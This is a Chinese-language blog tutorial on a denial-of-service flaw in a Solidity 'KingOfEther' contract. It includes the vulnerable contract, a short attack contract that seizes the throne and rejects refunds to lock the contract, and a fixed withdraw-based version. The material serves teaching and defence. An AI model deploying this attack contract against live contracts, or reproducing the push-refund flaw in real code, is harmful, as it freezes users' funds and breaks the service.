合約安全:拒絕服務(wù)攻擊(Denial of Service)

一、漏洞

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract KingOfEther {
    address public king;
    uint public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
}

contract Attack {
    KingOfEther kingOfEther;

    constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }

    // You can also perform a DOS by consuming all gas using assert.
    // This attack will work even if the calling contract does not check
    // whether the call was successful or not.
    //
    // function () external payable {
    //     assert(false);
    // }

    function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
    }
}

這個KingOfEther合約,msg.sender可以通過claimThrone傳入以太,當(dāng)傳入的以太數(shù)值高于balance的時候,這個msg.sender就成為了king,而且在成為king之前,要把之前king傳入的以太返還回去:

(bool sent, ) = king.call{value: balance}("");

這個合約乍一看沒有什么問題,但是可能會導(dǎo)致拒絕服務(wù)攻擊,核心原因就在于,這個返回以太的代碼不一定成功執(zhí)行,一旦無法成功執(zhí)行,就阻塞在這里了。

我們的攻擊合約Attack,核心就是進行了一次KingOfEther的合約調(diào)用,試想一下這樣的過程:

  • Bob通過claimThrone傳入了1 Ether,Bob成為King
  • Alice通過claimThrone傳入了2 Ether,之前Bob傳入的1 Ether又通過call返還了Bob,Alice成為了King
  • 此時Attack合約發(fā)布了,再由Attack通過claimThrone傳入了4 Ether,之前Alice傳入的2 Ether又通過call返還了Alice,Attack地址就成為了King
  • 此時合約已經(jīng)被鎖定了
  • Tom通過claimThrone傳入了5 Ether,按照之前的流程,理應(yīng)由Tom成為新的King,但實際上,當(dāng)程序執(zhí)行到返還Attack傳入4 Ether時,由于我們的Attack合約并沒有receive()或者fallback(),無法接收以太,于是失敗了
  • 這樣任何新地址都無法成為King,整個合約就是拒絕服務(wù)的狀態(tài)

二、預(yù)防手段

合約中,不要主動給地址發(fā)以太,發(fā)以太時也要仔細(xì)斟酌整個邏輯,思考會不會發(fā)生DoS攻擊。像我們這個例子中,就不能主動發(fā)送以太,可以自己設(shè)置一個withdraw方法,由用戶自己進行提款:

contract KingOfEther {
    address public king;
    uint public balance;
    mapping(address => uint) public balances;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        balances[king] += balance;

        balance = msg.value;
        king = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != king, "Current king cannot withdraw");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容